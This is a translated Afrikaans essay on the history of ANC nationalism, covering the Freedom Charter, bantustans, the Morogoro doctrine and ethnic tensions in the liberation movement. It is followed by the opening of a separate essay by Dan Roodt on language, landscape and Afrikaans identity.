Al wat nog makeer het was ‘n verklaring van die leerstelling wat dié nuwe veelrassige nasionalisme sou onderskryf.  Na ‘n paar jaar se samesprekinge was ‘n uitgebreide dokument aanvaar:  o.a. was daarin voorsiening gemaak vir die strewe na Swart, Wit en Grys volke.  Dit sou bekend staan as die Vryheidshandves (Freedom Charter).  In die voorwoord daarvan word dit as volg gestel:  “Suid Afrika behoort aan almal wat dit bewoon, Swart en Wit”(Karis/Charter III, 1987, p. 205).  Verwarring oor die besit van die nasionale erfdeel was hoegenaamd nie moontlik nie: alle rassegroepe moes deel daarin.  Met die aanvaarding van die beginsel van veelrassige samewerking, is die Congress-alliansie bekeer tot “Handvesalliansie”.   Om Suid Afrika in die voorwoord só as “volk” te definieer, was duidelik ‘n historiese mylpaal.

‘n Hoofstuk uit die Handves, het selfs gelyk asof dit moontlik Forman se teorie sou kon ondersteun; ten minste sover dit die pluralistiese ideologie van die eerste SANNC betref.  Só was daar van eenheid van die vaderland nêrens in ‘n enkele paragraaf melding gemaak nie; daar was nêrens eens sprake van ‘n model vir ‘n toekomstige nie-etniese of sentralistiese staat nie.  Met die sin:  “Alle nasionale groepe sal dieselfde regte hê” word aangekondig dat:

Alle nasionale en rassegroepe sal gelyke status hê in die Staatsdiens, voor die Reg en in die skole.  Alle nasionale groepe sal beskerm word deur die Wet in hul behoud van nasionale trots en teen rassediskriminasie; almal sal ‘n gelyke reg hê om hul eie taal te gebruik, hul eie populêre kultuur te ontwikkel asook hul eie gebruike” (Karis/Charter III, 1987, p. 205).

Bó en behalwe die gebruiklike verwarring tussen ras en nasionale groep, sou ‘n naïewe waarnemer kon sweer dat die Congress-alliansie ‘n “nasie van nasies”-projek probeer aanwakker.  Nie heeltemal nie.  Die Vryheidshandves het waarskynlik in dié paragraaf die swanesang van ‘n idee wat sy loop in ANC en medewerkerkringe geneem het, weergegee.  Een wat deur die bantoestanisering van Verwoerd, radikaal en binne ‘n baie kort tydjie, uitgewis sou word.  Die redakteurs van die Handves was ‘n ou generasie manne wat, soos Z.K. Matthews of Luthuli, hulself tussen twee wêrelde bevind het: ‘n stedelike, kultureel-hibriede een en ‘n plattelanse een gekenmerk deur etnisiteit en wat hulle, met nostalgie, aan hul gelukkige kinderdae herinner het.  Wat die wit marxiste, wat aan die redigeringsproses deelgeneem het, betref, het hulle sopas ontdek hoeveel verdeling en ophitsing in die uitdrukking “nasionale groepe” opgesluit lê.  Gou het hulle besef  dat dit ‘n faux pas was.

Die Morogoro-sindroom

Toe Hendrik Verwoerd in 1950 aangestel word as minister van Naturellesake, het hy dadelik begin om sy tesis van afsonderlike ontwikkeling of apartheid, toe te pas. Vir hom was Suid-Afrika ‘n wit land en daarom moes ander rassegroepe òf terugkeer na hul onderskeie bantoetuistes (tuislande) òf beskou word as tydlike immigrante in wit gebiede. Wetgewing wat in dié verband geneem is, het wette oor mobiliteit (1950 en latere wysigings in 1952), die Groepsgebiedewet (1950 en latere wysigings) en die Wet op Bantoe-owerhede (1951) behels. Die uiteindelike formulering daarvan het gekom met die afkondiging van die Wet op Bevordering van Bantoeselfbestuur (1959 en latere wysigings).

In hierdie verband moes die verslag, wat die regering aangevra het van die Tomlinsonkommissie, die objektiewe feite vir die vatbaarheid van territoriale segregasie inventariseer. Die gevolgtrekkings van die verslag wat in 1954 voorgelê is, ondersteun wat tot dusver niks minder as ‘n sinistêre teoretiese oefening van Verwoerd en sy volgelinge was nie. Dié werkstuk beveel die skepping van tien nuwe bantoestate wat die bestaande reservate as grondslag moes gebruik, aan. Dit moes gevolg word deur ‘n massiewe oordrag van investering en eienaarskap vir die territoriale konsolidasie daarvan. Die resultaat van só ‘n ambisieuse operasie sou die swart bevolking dan in staat stel om opgeneem te word daarin deur ekonomiese ontwikkelende maatreëls wat sou lei tot onafhanklikheid en emansipasie van die tuislande (Sachs, 1961), p.57).

Die regering was vinnig om net sekere voorstelle van die verslag te implementeer, terwyl die duurder voorstelle vir eers op die agtergrond geskuif is. As daar ooit enige twyfel daaroor bestaan het, was die perverse aard van apartheid as instrument vir wit oorheersing nou duidelik onderstreep, in teenstelling met werklike apartheid of retoriek wat gelyke afsonderlike ontwikkeling voorgestaan het (R. Malan, 1990, p. 31).

Nasionalistiese Afrikane was traag om hierop te reageer en om helder en besliste teenspraak te lewer. ANC-aktiviste het reeds van die begin af die beginsel en die absurditeit van afgeleë tuislande gekritiseer – Plaatje het, van meet af aan, hom daarteen verset in sy onafgebroke pleidooie téén wette oor eiendomsreg (S. Plaatje, 1916, p. 257-260). Teenstand teen die filosofie wat grondgebied afbaken, was niks nuuts nie. Maar daar was nogtans redelike twyfel, tot en met die wetsverklaring van 1959, of die waansin van Verwoerd wel eendag gestalte sou kry.

Met die besef dat die proses van bantoestanisering onomkeerbaar geraak het, het dié wat téén Pretoria se ‘lokval’ gekant was, hul stemme laat hoor. Een van die stemme, terwyl ‘n mens van die ANC praat, wat darem uitgesonder moet word, is dié van Nelson Mandela:

“Die tuislande probeer nie gestalte gee aan die aspirasies van die Afrikavolk nie: dit is instrumente van onderwerping. Onder die voorwendsel van outonomie, word dit [die hele land] verdeel in stameenhede wat vooruitgang en ontwikkeling tot nasionale status in die volle sin van die woord, vertraag” (Libération, 1959, p. 67 in : S. Johns et R. H. Davis, 1991).

Aanvanlik was Mandela veral bekommerd oor die moontlikheid dat die tuislande Afrikane se kapitaal kon toe-eien en ook oor die tendens na eksklusiwiteit en etnisiteit wat alomteenwoordig was – in die Suidafrikaanse samelewing sowel as binne die Congress self, selfs al was dit aan die afneem. Herinneringe aan sy jeug in Transkei was nog vars in sy geheue en hy het sonder twyfel ook dieselfde kontradiksies as Z.K. Matthews en Luthuli ervaar. Sy bande met die Xhosa-aristokrasie en sy spontane trou aan die verlede moes uiteraard aan hom ‘n kritiese register verleen. ‘n Paar jaar later, in die gevangenis, erken hy dat dié konflik by hom bestaan in ‘n brief aan sy biograaf, Fatima Meer. Hy beaam dat daar in sy eie gemoed twee Transkeie bestaan: die een wat onskuldig en oop is en hom herinner aan sy kinderdae en sy voorgangers, en die ander:

“…die politieke entiteit wat in die middel van die vyftigerjare die lig sien en wat die laagste soort polemiek laat opvlam het, sodat dit vriende, families en bewonderaars in teenstanders verander het, selfs in geswore vyande. Van sy neef, die president van Transkei, Kaiser Matanzima, sê hy: “Ons voel nog steeds baie ná aanmekaar, maar iets in my het gebreek toe hy na die Afrikanernasionaliste oorgeloop het” (F. Meer, 1990, p. XV).

Die burgeroorlog in Transkei wat grotendeels deur bantoestanisering veroorsaak is, het Mandela – en sy vrou Winnie – persoonlik geraak, want hul naastes was daarby betrokke (F. Meer, 1990, p. 152). Hierdie kontradiksie word uiteindelik opgelos, soos in byna elke geval binne die ANC, deur die satanisering van selfbeskikking soos Verwoerd dit voorstaan. Govan Mbeki beleef dit op eenderse wyse.

Die houding van laasgenoemde is van besondere belang. Van jongs af lid van die ANC en later van die SAKP, word hy later sekretaris van die Swart Kiesersvereeniging van die Transkei, en was hy ook vir vier jaar lank lid van die Bunga of stamraad. Ná sy skuldigbevinding by die Rivonia-verhoor, sou hy tydens sy gevangeneskap ‘n boek, The Peasants’ Revolt, skryf wat uiteindelik dié verwysing sou word onder die Xhosa-leierskap van die ANC. In sy oeuvre, gee Mbeki weer wat ‘n mens as die amptelike standpunt van die beweging oor die Transkei, sy burgerlike konflik en bantoestanisering in die algemeen, kan beskou:

Die Transkei is Dr. Verwoerd se antwoord op internasionale kritiek teen apartheid… Die Transkei is die venster op Suid Afrika… As apartheid nie dáár werk nie, sal dit nêrens werk nie. Dit is… ‘n wal om die vloed van Afrika-nasionalisme te keer in Suid Afrika. Die hele politiek van tuislande berus daarop dat wit oorheersing nie kan slaag om Afrika-nasionalisme te stuit indien hierdie nasionalisme nie deur sekere kanale beheer word nie. Die struktuur van apartheid, wat versigtig weggesteek word, bly swak en wankelrig. Ekonomiese werklikhede ontsier egter die drome van tuislande en, in plaas daarvan dat dit ‘n nasionale oplossing bied vir die probleme van vandag en more, is die tuislandprojek ‘n terugkeer na die Suidafrikaanse verlede” (G. Mbeki, 1964, p. 15 – 22).

Mbeki belig die uiters belangrike verskil tussen die Transkei vóór en ná apartheid. Eersgenoemde was nou wel die resultaat van volwaardige segregasie en die belofte van privaatbesit in ‘n reservaat vir Afrikane wat hul reg daartoe in wit gebiede verbeur het, maar hulle het nie alle regte van Suidafrikaanse burgerskap as tuislandinwoners verbeur nie. Die soewereine model wat vir die hele Unie gegeld het, is ook nie aangetas nie. Die Bunga-verkiesings was nie as alternatiewe verkiesings vir dié in Suid Afrika voorgehou nie – vir die enkele paar kiesers in die Transkei wat stemreg gehad het. Ná die wet van 1959 en sy latere wysigings, was die neiging van Pretoria egter om die regte en voorregte van wit Suid Afrika van die tuisland en sy burgers te weerhou.

‘n Ander kritiek soos deur Mbeki verwoord, weliswaar meer bykomstig as konseptueel, beklemtoon nogtans die feit dat die uitgebreide aanwysings van die Tomlinsonverslag nie deurgevoer is nie. Die fiasko van die tuislande word rugbaar toe die demografies reeds-versadigde grondgebiede voorgehou word as teenvoeters vir die migrasie-tendens sonder dat daar intussen enige landbou-ontwikkeling plaasvind òf die skepping van‘n plaaslike middelklas aangemoedig word. Volgens Mbeki, was die vlak van investering aan die begin van die sestigerjare minder as die helfte van wat die Tomlinsonverslag aanbeveel het as absolute minimum nodig om aangewese doelwitte te bereik (G. Mbeki, 1964, p. 94).

In 1970, met die Wet op Bantoeburgerregte, word die opheffing van dubbele burgerskap uiteindelik aangekondig en met onafhanklikheidswording van tuislande sou dit outomaties van krag word. Die Eerste Minister, Verwoerd, het sy huiwering uitgespreek oor die verbrokkeling van sy nuwe Republiek (in 1961 uitgeroep, ná uittrede uit die Commonwealth). Sommige ANC-aktiviste, gevangenes of uitgewekenes, het die raaiselagtige sluipmoord op die Eerste Minister in 1966, beskou as die resultaat van binnegevegte. Vir hulle was dit die werk van sekere groeperinge in die regerende party self wat Verwoerd se teenkanting wou oorkom en wat bantoestanisering nougeset wou toepas (M. Dingake, 1987, p. 197).

Die eerste onafhanklikheidswording, dié van die Transkei, sou nie vóór 1976 geoktrooieer word nie. Dit was egter lank reeds duidelik dat nie God òf Dr.Verwoerd ‘n konsessie met ‘n perk van aanvanklik-net-‘n-bietjie outonomie sou kon instel nie. Die bal, van die hoogste krans van apartheid af, was aan die rol en was besig om momentum op te tel. In ANC-geledere, veral in die buitelandse missie, was die antwoord daarop weereens die gewone afkeur aan die ‘piesangrepublieke’ in ‘n poging om dit te diskrediteer, binne sowel as buite Suid-Afrika. Die veldtog was ‘n sukses, want die internasionale gemeenskap wou geeneen van die ‘onafhanklike state’ erken nie.

Binne die Congress was kategoriese verwerping die mees algemene reaksie:

Tuislande is ‘n verbygaande verskynsel, ‘n nagmerrie op die pad na vryheid waaraan ons mense nog sal terugdink. Een ding is egter seker: Afrikane sal nooit Bantoe-owerhede aanvaar as alternatief vir vryheid en demokrasie in Suid-Afrika nie.”

Só praat Masabalala Yengwa, wat skaars vyftien jaar terug nog met Lionel Forman wou gesels oor die belangrikheid van nasies in Suid-Afrika (A. La Guma, 1972, p. 19).

Tesame met al dié verdoemende uitlatings, was die mees gesiene intellektuele in die Handvesalliansie aan die werk om ‘n gesofistikeerde en komplekse korpus van teorieë te probeer ontwikkel sodat die historiese moment waarin die ‘nasie’ sig bevind het, beskryf kon word en hulle raad kon bedink wat al sy kwale sou genees. Die towerstaf verskyn in die hand van Joe Slovo en ander invloedryke kommuniste met die dokument getiteld Strategie en Taktiek, by die Morogoro-konferensie (1969).

Met verwysing na die Vryheidshandves, maak dié nuwe dokument vir die eerste maal die deur oop vir militantisme binne die ANC – vir die oomblik uitgeweke – wat alle rassegroepe sou betrek. Aanvanklik het dit eers op die agtergrond gebly. Die eens nasionale, veelrassige doktrine sou egter laat vaar word om, in 1983, vervang te word deur ‘n nie-rassige begrip wat uitgebrei sou word na die bestuur en ondergrondse militante in die ANC se binnelandse vleuel. Strategie en Taktiek het die Suidafrikaanse situasie as ‘n “spesiale soort kolonialisme” beskryf omdat veronderstel is dat imperialiste en gekoloniseerdes besig was om dieselfde grondgebied te betwis. Die ANC sou daarom die stryd téén kolonialisme namens die onderdrukte klasse moes voer – wat hoofsaaklik swart was, met die uitsondering van enkele ‘albino’ rebelle – om één nasie te bou, saamgesnoer in ‘n samelewing sonder klasseverskille en waar rasse-, etniese-, geslags-, ens. diskriminasie nie teenwoordig was nie.

Slovo het homself onderskei as ‘n meedoënlose stryder op vele gebiede en veral wat die uitbreiding en verspreiding van die Morogoro-tesis betref. Hy benadruk daar ‘n spesifieke soort kolonialisme in Suid Afrika bestaan waar klein afhanklike entiteite regeer word deur plaaslike oligargieë – die tuislande – op dieselfde wyse as wat daar vanuit koloniale metropole voortgegaan word om hul eertydse besittings te plunder (B. Davidson, J. Slovo en A.R. Wilkinson, 1976, p. 144).

Slovo se tydbom gaan in 1988 af met die verskyning van ‘n versameling o.l.v. Maria Van Diepen, getiteld Die Nasionale Vraagstuk in Suid Afrika. Daarin ondersoek en verbreed ‘n groep intellektuele ná aan die ANC die stellings in Strategie en Taktiek in al sy nuanses. Slovo self, bring ook sy deel in die vorm van ‘n artikel waarin ‘n sleutelvraag beantwoord word: “Is ons reeds ‘n nasie of vir die oomblik nog net ‘n nasie-in-wording?” Daarin weerlê hy die stalinistiese stelling oor nasionaliteite en die teorieë van Forman. Volgens hom laat Forman die debat byna struikel deurdat hy dit te naby aan etniese separatisme waag en beklemtoon Slovo dat etniese en streeksvraagstukke oor regte gereeld die anti-koloniale stryd om ware nasionale selfbeskikking ondermyn i.p.v. ondersteun. Hy kondig aan:

Suid Afrika is nie ‘n veelrassige land nie: dis ‘n nasie-in-wording… Ons weet baie goed wat ‘veelvolkery’ beteken. Dis ‘n uitgeslape manier om nasionale heerskappy te behou… Ons kan geen uitgebreide of berekende voorstelle aanvaar wat ‘n ‘veelvolkige’ raamwerk in stand hou en wat ‘n verbrokkelde nasionale identiteit en daarmee saam wit rassisme, beskerm nie” M. Van Diepen, 1988, p. 148).

In dieselfde trant verontagsaam die outeur die toegewyde aanbevelings van kameraad Starushenko, lid van die Sowjet Akademie vir Wetenskap, wanneer dit oor minderheidsregte in die toekomstige Suid Afrika gaan:

In die Sowjet Unie, is die erkenning van veelvolkery die basis vir bevryding en nasionale selfbeskikking… In ons geval is veelvolkery die by uitstek die rassistiese manier om nasionale dominansie te verseker” (id., p. 150)

Die versameling in sy geheel verleen ‘n interessante nuanse aan die sentralistiese gedagte wat Slovo verdedig. M. Van Diepen dring byvoorbeeld daarop aan dat wit nasionalisme ‘n bedekte vorm van dominansie is, terwyl ware, bevrydende en nie-rassige nasionalisme in ‘n swart nasie vervat is – wat ook staatmaak op sekere minderhede (id., p. 10). William Pomeroy gaan aanvanklik van dieselfde standpunt uit, maar verloor sy draad deurdat hy ‘n model soortgelyk aan dié van die Sowjet Unie wil voorstel om die etniese doolhof, uit kolonialisme oorgeërf, die hoof te bied. In sy gevolgtrekking egter, vind hy sy spoor terug en wys daarop dat ‘n enkele internasionalistiese en oop mag – soos byvoorbeeld die ANC – oor die kapasiteit van integrasie beskik om dié taak baas te raak (id., p. 14 – 29).

Mzala, ‘n suiwer Zoeloe en die ANC se skerpste assegaai teen Buthelezi, meen dat kapitalisme in Suid Afrika ‘n samehang meebring vanweë ‘n gemeenskaplike mark wat verskille tussen Afrikane laat vervaag. In dié verband is die mees effektiewe verweer teen die volkse, wit onderdrukking ‘n nasionalistiese solidariteit van die onderdruktes. Die werkersklas, kwansuis bevry van enige etniese bande, vorm sodoende die avant-garde van ‘n rewolusie wat sal lei na ‘n nuwe sosialistiese volk en wat – volgens hom – volke wat alreeds nie eintlik meer afsonderlik is nie, sal saambind. Dit raak nog meer ongemaklik wanneer die skrywer, sonder skroom, sy tesis belig met voorbeelde van samesmelting uit ander ervarings in die geskiedenis: “Die Italiaanse volk is tog gevorm deur die Romeine, Teutone, Etruskers, Grieke, Arabiere, ens.” (id., p. 39 – 55)

Harold Wolpe vergelyk nasionale bevryding met vordering na sosialisme (id., 64), en Francis Meli benadruk weer dat daar sonder die nasionale bevryding van swart mense, nie sosialisme in Suid Afrika moontlik is nie (id., p. 72). Kader Asmal gebruik Resolusie 566 van die VN i.v.m. die herstel van die reg tot algehele selfbeskikking om aan te toon dat hier, volgens hom, ‘n flagrante geval van wederregtelike betreding van nasionale soewereiniteit is. Selfs al behels die opeis van burgerregte ‘n spesiale kategorie – soos in die geval van die Vereenigde State – stel die spesifieke soort kolonialisme waaraan Suidafrikaners blootgestel word, hulle in staat om restitusie van rykdom, grond, kultuur, eer…. kortom, volle nasionale soewereiniteit, te eis (id., p. 135).

Laastens voel Pallo Jordan dat ‘n nasie sigself nie in klaargemaakte begrippe, afkomstig uit sekere universiteitkringe, herken nie, maar dat dit ‘n produk van wil en ondersteuning van ‘n gesamentlike projek is waarin nie ras òf kleur ‘n rol speel nie. Die enigste ware rassiste is dan dié wat hulself uitsluit uit iets wat amper lyk na Asmal se Jakobynse idee van soewereiniteit. Net vir ingeval daar nog hoegenaamd enige twyfel bestaan oor wie soewereiniteit mag opeis, word daar na die nasionale groepe wat in die Vryheidshandves genoem word, verwys: “… kulturele diversiteit van die Suidafrikaanse bevolking word erken, maar sonder dat dié idee kategoriese immobiliteit beteken.” Hy sluit af met die volgende oorweging: “Afrika verwerp met rede die idee van afstigting” (id., p. 118).

Ons veronderstel dat wanneer Jordan van Afrika praat, hy na die OAE en sy konstitusionele beleid t.o.v. respek vir grense wat uit die koloniale tydperk oorgeërf is, verwys. ANC-intellektuele het, in elk geval sedert 1912, of selfs sedert die viering van die Handvesalliansie in 1955, ‘n ver pad gekom. Gedurende die sewentiger- en veral tagtigerjare, het die Morogoro-sindroom egter die universiteitstoneel oorheers, ver verby die bakens van handves-militantisme.

Dit wil voorkom asof daar in die Suid-Afrikaanse opposisie tendense was wat in sekere gevalle skynbaar nie sentralisties genoeg was nie, veral ná die ANC, post-Morogoro en sy postulate. Robert Sobukwe se biograaf, Pogrund, dring daarop aan dat sy man nog altyd die opkoms van ‘n sterk nasionale bewussyn waarin swartes saamgesnoer word, aangemoedig het ter ondersteuning van ‘n strydvaardige afrikanisme. Dis seker moontlik dat die nasie-gedagte van die PAC van die begin af meer monochroom as dié van die ANC was, veral omdat hulle op rassegronde daartoe geneig was om, in die praktyk, Indiër, Kleurling, en in die besonder wit minderhede uit te sluit (P. Pogrund, 1990, p.66).

Die bruin intellektueel en simpatiekgesinde van ‘n klein groepie Trotskiste in die Eenheidsbeweging, die onvermoeibare Neville Alexander, neem die ANC onder skoot daaroor. Hy stel drie oplossings vir die nasionale vraagstuk voor:

  • Die verdeling van grondgebied tussen wit en swart in minstens twee state, soos met apartheid:

Die sogenaamde nasies wat voorgee dat hulle Xhosas, Zoeloes, Tswanas, Kleurlinge, Indiërs, ens. verteenwoordig, bestaan nie en geen teorie sal hulle ook verwerklik nie… Die enigste manier vir dié wat voorgee om nasies te wees, om enige soort legitimiteit, soos in Pakistan/Israel, op te eis, is om soos in dié state as teen-rewolusionêre sentra òf as verdeling teenoor gekoloniseerdes van die wêreld te staan” (N. Sizwe, 1979, p. 180).

  • Die skepping van ‘n veelrassige of multi-etniese staat soos deur die ANC en Handvesalliansie uiteengesit aan die einde van die sestigerjare. Volgens Alexander kan só ‘n model net bestaan indien die swart bourgeoisie sterk genoeg is om met ander nasionale bourgeoisieë saam te werk om die rasse- en klasseonderdrukking in die sisteem te bowe te kom. Hoe dit nou ookal sy, vestig die skrywer nogtans ons aandag op die bestaande verskille tussen “nasionalistiese bevryding” en wat hy as ware nasionale bevryding sien.
  • Dit bring ons by die derde model: die skepping van ‘n opregte, vereenigde en sosialistiese nasie, ‘n soewereine Azanië, waar:

die werkersklas eersdaags die bestuurdersklas sal word en waaruit die Suidafrikaanse nasie gevorm sal word… Selfs die volk verwerp die geldigheid van die Nasionale Party e.a. se idees van veelrassigheid en multi-etnisiteit omdat dit verdelend is. Hulle [die volk] sê uitdruklik dat dit wat ‘etniese groepe’ genoem word in der waarheid kleur kastes is òf linguïstiese, godsdienstige of adminitratiewe groepe, en niks meer nie” (id., p. 180).

Om die polemiek mee af te sluit, beloon Alexander die Eenheidsbewegings van die PAC en AZAPO met ‘n gloeiende lofrede omdat hulle die derde model ondersteun en daarmee ‘balkanisering’ van die land vermy. Hy teken egter sterk beswaar teen die Sowjet teoretici, in die SAKP en Congress, aan (Potekhin veral). Eerstens omdat hulle eintlik die idee van stam ondersteun en verder omdat hulle ná afloop van Morogoro – met sy spesifieke soort kolonialisme – ‘n dualistiese model wat aan segregasie herinner, voorstaan.

Vir Joe Slovo wat op Alexander se verwoede aanval reageer, is:

Kolonialisme van ‘n spesifieke soort is [nie] ‘n postulaat vir die bestaan van twee afsonderlike nasies – wit en swart – [nie]. Die heersersklas in sy geheel is nie uitsluitlik blank nie [hoewel dit natuurlik is ‘n indo-europese soort een is]… Anti-wit chauvinisme sal ook nie in ‘n beter lig gestel word as dit ‘n idee is wat op ‘n mite berus nie. Die rewolusionêre klasse sal vinniger vordering maak in die stryd vir ‘n enkele nasionale toestand as hulle besef dat ons nog nie ‘n nasie is nie, maar moet veg sodat dit ‘n werklikheid kan word” (M. Van Diepen, 1988, p. 150).

Dit is in dié terme dat die debat die tagtigerjare binne bars en ‘n kompetisie ontketen waarvan die oogmerk is om te sien met hoeveel oorgawe enige denker of groepering die eenheidsgedagte kan laat seëvier. Onder die invloed van die psigologiese en kuturele afrikanisme van “Swart Bewussyn”, was die mode om ‘n energieke patriotisme op swart trots te fundeer wat dan monolities en uitdagend Pretoria se “balkanisering” die hoof moes bied. (Ten spyte daarvan dat sy stigter, Steve Biko, vermoor is, het sy intellektuele en politieke nalatenskap deels bly voortleef onder AZAPO se vaandel.)

Boodskappers stel hulle ten doel om die gedagte op absoluut enige moontlike manier oor te dra, soos in die geval van Can Themba, ‘n Drum-generasie skrywer en joernalis:

As gevolg van die ANC se pogings, asook industriële en demografiese veranderinge in die land, en die tendens in wit politiek om te veel op kleur aan te dring, voel Afrikane… asof hulle ‘n nasie vorm – ten spyte van wat die gidse van die Inligtingskantoor van die Regering sê” (C. Themba, 1972, p. 115).

Michael Attwell, politoloog, beaam dit: “’n Gevoel van nasionale identiteit het hier en daar posgevat, maar nogtans posgevat” (M. Atwell, 1986, p. 171). Desmond Tutu, kerklike en politieke aktivis voeg daarby dat:

In Soweto [het] ons nog altyd in harmonie saam[ge]leef. Ek is Xhosa en my bure is Zoeloes, Swazis, Pedis, Tswanas. As ons baklei is dit omdat ons jaloers is op iemand anders se nuwe klere. Ons het nog nooit in Soweto oor stamverskille slaags geraak nie” (C.E. Cobb, 1993, p. 69).

Dis miskien waar, maar dit begin verdag lyk om só daarop aan te dring. En dis ook nie bó verdenking dat die etniese vraagstuk – of dan stamvraagstuk – gedurende die sestigerjare geheel en al ‘n taboe-onderwerp raak nie. Die siniese afleiding wat ‘n mens daaruit kan maak is dat die meeste groeperinge in die opposisie en ook in die Handvesalliansie se retoriek na een ding lyk en die naakte waarheid ‘n hele ander storie is. Selfs nie eers die amptelike weergawe is heeltmal verwaterdig nie en ‘n mens word deeglik bewus van die mate waartoe etniese konflik ‘n aansienlike rol in die gang van die Congress gespeel het, asook in sy verhoudings met ander organisasies.

In dié verband is byna alle getuienis by wyse van mondelinge verklarings gedoen en kan daarom nie gekontroleer word nie. Boonop is sulke verklarings dikwels onbetroubaar en lok dit talle voorbehoude uit. ‘n ANC-spesialis het, sonder om in enige détail daarop in te gaan, egter aan ons bevestig dat daar sonder twyfel vyf kommissies van ondersoek aangaande etniese konflik binne die beweging was tydens sy ballingskap. Hy maak ons ook daarop attent dat die Nguni-element sedert die sestigerjare in die bestuur oorheers (Xhosa om presies te wees; dit sluit Mandela, Sisulu, Tambo, Mbeki en Nzo in), terwyl die PAC meerendeels ‘n Sotho-element, of die Noorde, verteenwoordig (Sobukwe, Leballo, Madzunya). In sy analise doen hy aan die hand dat dit vanweë die feit dat stamme in die Noorde, veral in Transvaal, histories gesproke uitgelewer aan die Boere was, terwyl die Nguni-groepe in die Suide weer meer geredelik die Britse liberale tradisie aan die Kaap aanvaar het en dus daarom ‘n oper houding t.o.v. rasseprobleme gehad het.

Tom Lodge, wat eweneens op mondelinge getuienis staatmaak, onderskryf grootliks die bogenoemde hipotese en voeg by dat soos met die voorvalle tussen Sotho-mynwerkers en gematigdes in Transvaa.l, die PAC etniese mobilisering tot sy voordeel gebruik. Volgens hom, lééf ondersteuners op grondvlak hul identiteit uit, terwyl die bestuur van die Congress enige etniese etiket afwys. Hierdie verskynsel kom spesifiek tydens die onrus tussen die Transkei en Sekhukhuneland aan die einde van die vyftigerjare na vore.

Die botsing tussen identiteite, soos ons later gesien het, neem ‘n ernstige wending in Natal met die belangestryd tussen Inkatha en groepe wat die ANC goedgesind is. Die aantygings teen Buthlezi dat hy Zoeloe-trots gemanipuleer het, is welbekend. Minder van ‘n ophef is egter gemaak oor Zoeloe-hoofde se skeltaal teen die Xhosa-hegemonie en hul Pondo neefs binne die Congress, wat dit natuurlik nie van mindere belang maak nie (G. Mare, 1992).

Stephen Ellis beklemtoon in Comrades against apartheid die etniese wrywing in die Congress-alliansie. Hy is van die min outeurs wat wel sonder meer daarna verwys, al is dit vlugtig. Só spoor hy die gevalle van onmin tussen die Tswanas en Xhosas in die ANC ná, wat aanleiding gegee het daartoe dat eersgenoemde ‘n minderheid teenoor die ander groep in die belangrikste liggame van besluitneming gevorm het (S Ellis en T. Sechaba, 1992, p. 177 – 178). Hy bring kritiek teen Tambo omdat dié Xhosas voortrek (id., p. 41-42) asook teen die konfrontasies in die SAKP, waar die sekretaris-generaal, Moses Mabhida, van Zoeloe-oorsprong, met moeite ‘n onmoontlike etniese balans probeer handhaaf.

Uit die Frans vertaal deur Karin Bredenkamp

Taal, landskap en identiteit

Download PDF
Download PDF
Download PDF
Download PDF

Dan Roodt

Die kwessie rondom taal is besig om dié aangaande ras te vervang as die belangrikste enkele strydpunt in Suid-Afrika. Selfs gedurende die grondwetlike onderhandelinge tussen die Nasionale Party en die ANC tydens die aanloop tot die 1994-verkiesing het slegs drie vraagstukke hul onderskeie standpunte geskei, naamlik eiendomsreg, die sogenaamde uitsluitingsklousule (waarvolgens ’n werkgewer stakende werkers kon uitsluit), en natuurlik, die reg op, of soos dit geblyk het, die keuse van moedertaalonderrig in staatskole. Die berugte rassevraagstuk het nie eens ter sprake gekom nie, wat sekerlik vreemd mag aandoen aan enigiemand buite Suid-Afrika waar rassesegregasie of die woord “apartheid” ewe beskrywend van ons geag word as byvoorbeeld “rewolusie” van Frankryk.

Maar dit wat hier volg, is geen politieke geskrif of poging om tot ’n politieke debat toe te tree nie, hoe gepolitiseer die taalkwessie in Suid-Afrika ook al mag wees. In die eerste plaas gaan dit vir my om ’n besinning oor ’n ervaring van vreemdelingskap in my eie land, ’n soort interne eksiel of ballingskap waarmee ek daagliks as nie-Engelse persoon gekonfronteer word. Op pad tussen Stellenbosch en Franschhoek, in een van die oudste en mees oorwegend Afrikaanse dele in die land, sien ek ’n reusagtige groot padteken wat tweetalig in Engels en Xhosa aangebring is. Op my paspoort is daar deesdae net Engels en Frans, wat my daaraan herinner dat die Suid-Afrikaanse staat kwalik meer Afrikaans as taal erken, hoewel dit in naam steeds een van elf amptelike tale is. Rondom my is daar vele Afrikaners, vele stoere Afrikaners moet ’n mens byvoeg, wat angsvallig besig is om hul kinders in Engels op te voed, kinders met name soos “Justin” en “Megan”, asof die ouers reeds geestelik verhuis het na ’n Engelssprekende land en nie hul spruite met onuitspreekbare Germaans-klinkende name wou opsaal nie.

’n Kafkaeske waas kleef aan dit alles, asof ons almal skuldig is aan ’n onnoembare misdaad en nou daarvoor moet boetedoen deur ontneem te word van ons kulturele burgerskap. Die verskriklike gemeenplaas “apartheid” het sekerlik iets daarmee te doen, maar verduidelik nogtans nie alles nie. Buitendien ervaar ek reeds jare lank hierdie Afrikaanse woord as iets vreemds en onsinnigs, ’n versameling letters wat ek vir die eerste keer gesien het toe ek ’n straat oorsteek in ’n vreemde stad in ’n vreemde land waar dit skielik in wit op die pad geverf voor my opgedoem het.

Denke oor taal en kultuur in Suid-Afrika behaal sy absurdste hoogtepunte juis op amptelike of kwasi-amptelike vlak. In hierdie verband herinner ’n mens jou die uitspraak van regter Johann Kriegler wat beweer het dat indien twee Yslandse kinders ’n Afrikaanse skool sou bywoon, die hele skool sy onderrigmedium na Yslands behoort te verander. Miskien is Ysland hier ’n metafoor vir die amptelike kilheid jeens Afrikaans, of miskien was dit ’n subtiele manier om te sê dat Afrikaans net soos Oud-Yslands, daardie belangrike literêre taal van die sages, sou kon vergaan om iewers in die toekoms net deur spesialiste begryp te word.

Ek sou graag hier wou aanhaal uit die Oud-Yslands, maar as ’n plaasvervanger deel ek graag met die leser die volgende frase van Reinhart die Vos in die Middel-Nederlandse weergawe:

Het staet so, suldi hebbe vrome,
Hier ne mach zijn geen langher staen.
Volghet mi, ic sal voeren gaen.
Wi houden desen crommen pat,

wat rofweg die volgende beteken: “ons kom nêrens deur langer te talm nie, volg my, ek gaan voor, ons neem dié kronkelende pad.” Omdat ons Reinhart ken, weet ons dat dit ietwat riskant is om enige kronkelende pad met hom aan te durf. Só ook die huidige teks, wat begin met ’n kronkelende rit per motor tussen Johannesburg en die Hartebeespoortdam, ’n heel opwindende tog deur rante en klowe wat met aalwyne, verknoetste kareebome en rotsblokke van ysterklip besaai is, brûe oor spruite en riviere, asook skielike draaie en hoogtes wat teen ’n sekere spoed ontstemmend kan raak.

